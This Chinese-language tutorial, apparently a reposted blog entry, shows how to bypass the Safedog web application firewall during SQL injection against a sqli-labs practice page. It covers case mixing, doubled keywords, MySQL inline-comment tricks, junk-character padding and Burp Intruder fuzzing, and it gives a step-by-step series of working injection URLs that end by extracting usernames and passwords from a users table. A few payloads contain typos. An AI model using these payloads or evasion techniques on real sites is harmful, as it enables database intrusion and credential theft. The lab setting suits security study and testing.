赞
踩
如果程序中设置了过滤关键字,但是程序只是对 and ,AND 或者 or,OR 设置了关键字过滤,那么你就可以使用大小写过滤
例如 :and,or
当然不局限于 and,其它的例如 union 一些关键字如果只是设置了关键字过滤,没有进行深度过滤的话,都是可以使用大小写过滤的
union 设置了过滤清空,那么此时你就可以用
UniunionOn 这么一来,就可以实现绕过
当然你是可以结合大小写绕过进行编写的
select id=1 Uniutionon from
在 mysql 中,内联注释里的 Sql 语句是会被执行的,语法如下:等价于 select * from users
/*!SELECT*/ * FROM users
如果在 /*!SELECT*/ 中里面不加 ! ,则 /*SELECT*/ 会以注释的形式存在,这时 select 将不会被当成语句执行,会出现语法错误
/*Select*/ From Users
报错如下所示:
使用该内连接进行绕过的时候,也是可以结合之前的大小写以及双写进行绕过的,结合实际情况进行选择
这里我们以安全狗作为案例,如果你按照常规方法输入 and,那么它会对这个进行一个过滤,从而出现如下界面
将 and 修改为 /*!12345and*/
注意12345是任意的五位数字,五位!(通常4-6位数字)
然后通过 burp 进行拦截,然后发送到 intruder 模块
然后我们需要先点击 clear,然后选中 12345 点击 add
然后即可进行爆破
然后就是找特征值,例如 14414 即为我们的 payload
http://security/Less-1/?id=2' /*14414and*/ 1=1 -- 1
and 绕过使用 /*!12345*/
另外 12345 这几个数字是随机的,位数推荐 4-6 位
当你的 get 请求 order by 如果是一起出现的时候,则会出现安全狗警告,这个时候你可以在 order 和 by 之间添加一些字符,(还是 4-6 位)触发页面如下:
order /*特殊符号*/ by
注意这里我们不用加上 !,因为我们是添加干扰字符
这里和上面 and 或者 or 绕过的方式不同的是,这里我们采用的是 在 order 和 by 之间添加干扰字符,而不是数字,从而实现绕 过
推荐使用的特殊字符:/$%^&*
同样的原理,对其进行爆破之后,得到 payload 为 //%$
http://security/Less-1/?id=2' order /*//%$*/ by 1 -- 1
select 和 union 放在一起的时候会触发
跟上面那个 order by 放在一起会触发一样的绕过道理,不过 select union 需要我们再次通过 burp 进行 fuzz
既然一样的绕过方式,那么 select /*/$%^*/ union 也是一样的方式,抓包,然后去 fuzz
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,2,3 -- 1
上面我们介绍的是 and ,or,以及 select union 联合查询的绕过, 但是这是远远不够的,我们重点应该是放在如何绕过,从而查询数据
database()的绕过:
database 和 ()放在一起的时候会触发 waf
因此在 database 和 ()之间添加干扰符即可
这里的干扰符是
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,database/**/(),3 -- 1
查询到对应的数据库为 security,接下来就是查询表
第一个绕过点: information_schema.tables
waf 会对后面那个 tables 进行拦截,要想绕过,需改成
information_schema./*tables*/
第二个绕过点:from 和 information_schema./*tables*/
当这两个放在一起的时候就会触发 waf,尽管 information_schema./*table*/ 进行了绕过,但是还是会触发 waf
这里我们就要对 from 和 information.schema./*!tables*/ 之间进行处理了
- http://security/Less-1/?id=-2' union /*/$%^*/ select 1,
- group_concat(table_name),3 from --+ /*%/ %0a information_schema./*!tables*/ -- 1
绕过过程:首先在 union 和 select 之间放干扰符号,然后在 from 和 information_schema 之间放 --+以及正确的干扰符,然后通过 %0a 进行换行,最后把 information_schema.tables 中 tables 通过内联的方式进行绕过修改为 information_schema./*!tables*/
这里我们可以看到,数据全部都被取出来了,但是还有一个局限的点,这里我们没有通过 where 去指定对应的数据库,where table_name = security,因此它会查询出所有库里面的数据,因此我们还需要指出对应的库名才行
但是这里它又会出现 waf 拦截,因为 information_schema 和 where 出现在了一起,因此又需要在中间添加干扰符,在 information_schema./*!tables*/ /*干扰符*/ where 去进行 fuzz 测试
- http://security/Less-1/?id=-2' union /*/$%^*/ select 1,group_concat(table_name),3
- from --+/*%/ %0a information_schema./*!tables*/ /**/
- where table_schema='security' -- 1
从而获取到 security 库所有的表名:
接下来就是获取 security 对应表下的所有列名
无非多添加了一个 and,and 采用内联的方式进行绕过
- http://security/Less-1/?id=-2' union
- /*/$%^*/ select 1,group_concat(column_name),3
- from -- +/*%/ %0a information_schema./*!columns*/
- /**/ where table_schema='security' /*!12441and*/ table_name='users' -- 1
- http://security/Less-1/?id=-2' union
- /*/$%^*/ select 1,group_concat(username,0x3a,password),3 from /**/ users -- +
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。